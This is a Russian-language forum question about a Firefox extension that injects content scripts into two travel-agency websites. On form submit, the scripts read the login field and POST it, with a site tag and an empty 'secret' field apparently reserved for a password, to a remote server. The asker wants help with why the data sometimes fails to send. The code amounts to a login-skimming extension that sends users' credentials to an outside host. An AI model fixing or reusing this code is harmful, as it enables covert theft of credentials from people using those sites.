Пытаюсь запилить расширение для Firefox, которое собирает некоторые данные на заданных сайтах. Сейчас имею проблему с тем, что не всегда данные уходят на удаленный сервер с помощью $.ajax()
main.js
var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");
pageMod.PageMod({
include: "*.mouzenidis-travel.ru",
contentScriptFile: [data.url("jquery-2.1.0.min.js"),
data.url("mouzenidis-travel.ru.js")]
});
pageMod.PageMod({
include: "*.pegast.ru",
contentScriptFile: [data.url("jquery-2.1.0.min.js"),
data.url("pegast.ru.js")]
});
data/mouzenidis-travel.ru.js
$("form").submit(function(){
alert($("#UserName").val());
$.ajax({
type: "POST",
url: "http://site.ru/writedata.php",
data: { site :"mouzenidis-travel.ru",
login :$("#UserName").val(),
secret :"" }
})
});
data/pegast.ru.js
$("form").submit(function(){
alert($("#username").val());
$.ajax({
type: "POST",
url: "http://site.ru/writedata.php",
data: { site :"pegast.ru",
login :$("#username").val(),
secret :"" }
})
});
Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер.